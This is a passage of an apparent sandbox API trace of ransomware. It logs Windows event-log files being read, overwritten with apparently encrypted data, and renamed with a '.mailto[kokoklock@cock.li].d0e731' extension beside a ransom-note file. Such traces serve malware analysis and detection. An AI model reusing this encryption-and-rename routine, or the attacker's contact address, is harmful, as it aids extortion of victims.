= 0x9e0 [0061.080] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0061.083] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", dwFileAttributes=0x20) returned 1 [0061.087] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.088] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x792fa00 | out: lpFileSize=0x792fa00*=69632) returned 1 [0061.088] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.088] ReadFile (in: hFile=0x5b4, lpBuffer=0x792f9d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x792f9d4*, lpNumberOfBytesRead=0x792f9d0*=0x4, lpOverlapped=0x0) returned 1 [0061.089] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b390 [0061.089] NtQuerySystemTime (in: CurrentTime=0x792f9ac | out: CurrentTime=0x792f9ac*=132121176189769730) returned 0x0 [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xf9ca9cf8 [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xedbffc9b [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xaa69b9b [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xef1669cd [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x9454bbbc [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x5042d0f7 [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xbe274c27 [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xbf8f66c4 [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xdcbc3cc3 [0061.089] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xd6c8098a [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xaee86178 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x1bcaedd3 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x41870ae2 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x5f0388f9 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x1a1b7fe8 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x29e1a3cb [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xa2542f11 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x7f3a3f99 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xb56b12a2 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x83dd3cdd [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xc0ecbd4d [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x4275c1d9 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xddf1f343 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x45235e3d [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x82474e51 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xdbe6c391 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x6b1c59d9 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x27b47e60 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x819e2681 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x4d854c38 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0x46e398a7 [0061.090] RtlRandom (in: Seed=0x792f9b8 | out: Seed=0x792f9b8) returned 0xb80245e4 [0061.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.101] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.101] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x792f984, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x792f984*=0x4096, lpOverlapped=0x0) returned 1 [0061.111] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b430 [0061.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.112] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x792f984, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x792f984*=0x4096, lpOverlapped=0x0) returned 1 [0061.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.112] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.112] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x792f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347b430*, lpNumberOfBytesWritten=0x792f9bc*=0x20, lpOverlapped=0x0) returned 1 [0061.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b430) returned 1 [0061.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.113] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b4a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x347b4a8*, lpNumberOfBytesWritten=0x792f9d0*=0x8, lpOverlapped=0x0) returned 1 [0061.113] WriteFile (in: hFile=0x5b4, lpBuffer=0x792f9e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x792f9e8*, lpNumberOfBytesWritten=0x792f9d0*=0x4, lpOverlapped=0x0) returned 1 [0061.113] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x792f9d0*=0x4, lpOverlapped=0x0) returned 1 [0061.113] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x792f9d0*=0x6c, lpOverlapped=0x0) returned 1 [0061.113] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b228*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x347b228*, lpNumberOfBytesWritten=0x792f9d0*=0x20, lpOverlapped=0x0) returned 1 [0061.113] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x792f9d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x792f9d0*=0x4, lpOverlapped=0x0) returned 1 [0061.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0061.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.113] CloseHandle (hObject=0x5b4) returned 1 [0061.118] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x341e0b8 [0061.118] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" [0061.118] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" [0061.118] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.119] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.119] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", dwFileAttributes=0x20) returned 0 [0061.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.119] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.119] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.119] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd270) returned 1 [0061.119] RtlExitUserThread (Status=0x1) Thread: id = 91 os_tid = 0xd84 [0061.111] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0061.114] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.115] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0061.115] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x79afcd4 | out: lpFileSize=0x79afcd4*=69632) returned 1 [0061.115] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.115] ReadFile (in: hFile=0x5c0, lpBuffer=0x79afca8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x79afca8*, lpNumberOfBytesRead=0x79afca4*=0x4, lpOverlapped=0x0) returned 1 [0061.120] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b3b8 [0061.120] NtQuerySystemTime (in: CurrentTime=0x79afc80 | out: CurrentTime=0x79afc80*=132121176190100359) returned 0x0 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x55dd3dea [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xe7937a92 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x9a9629d7 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x72f1dc0e [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x4a0ca77b [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x5d30bb74 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x906e9417 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xe8ebc8e8 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xc1953794 [0061.120] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xbee2f532 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xa821493f [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x4d17cf76 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x76376834 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x90c40d21 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xa581d8c5 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x1ea76b67 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xa53b0f72 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x4206347c [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xb0106497 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x8ea51442 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x20a04ae2 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xc8286b06 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x97cfc1de [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x5d4ab9af [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x7ef381dd [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xe12dd2aa [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x1dc29321 [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xf374e2bc [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x61840e2b [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x10b787fc [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0xb7d471ac [0061.121] RtlRandom (in: Seed=0x79afc8c | out: Seed=0x79afc8c) returned 0x22b24c74 [0061.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.131] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.132] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x79afc58, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x79afc58*=0x4096, lpOverlapped=0x0) returned 1 [0061.132] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b430 [0061.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.133] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x79afc58, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x79afc58*=0x4096, lpOverlapped=0x0) returned 1 [0061.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.133] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.133] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x79afc90, lpOverlapped=0x0 | out: lpBuffer=0x347b430*, lpNumberOfBytesWritten=0x79afc90*=0x20, lpOverlapped=0x0) returned 1 [0061.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b430) returned 1 [0061.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.134] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b4a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x347b4a8*, lpNumberOfBytesWritten=0x79afca4*=0x8, lpOverlapped=0x0) returned 1 [0061.134] WriteFile (in: hFile=0x5c0, lpBuffer=0x79afcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x79afcbc*, lpNumberOfBytesWritten=0x79afca4*=0x4, lpOverlapped=0x0) returned 1 [0061.134] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x79afca4*=0x4, lpOverlapped=0x0) returned 1 [0061.134] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x79afca4*=0x6c, lpOverlapped=0x0) returned 1 [0061.134] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b228*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x347b228*, lpNumberOfBytesWritten=0x79afca4*=0x20, lpOverlapped=0x0) returned 1 [0061.134] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x79afca4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x79afca4*=0x4, lpOverlapped=0x0) returned 1 [0061.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0061.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.134] CloseHandle (hObject=0x5c0) returned 1 [0061.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x341e0b8 [0061.137] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" [0061.137] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.137] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.138] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.138] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.138] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.138] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.138] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.138] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.138] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.138] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0061.138] RtlExitUserThread (Status=0x1) Thread: id = 92 os_tid = 0x3a8 [0061.140] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0061.141] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0061.141] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0061.141] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x7a2f7e4 | out: lpFileSize=0x7a2f7e4*=1052672) returned 1 [0061.141] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.141] ReadFile (in: hFile=0x5c0, lpBuffer=0x7a2f7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x7a2f7b8*, lpNumberOfBytesRead=0x7a2f7b4*=0x4, lpOverlapped=0x0) returned 1 [0061.142] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b3e0 [0061.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.142] RtlAllocateHeap 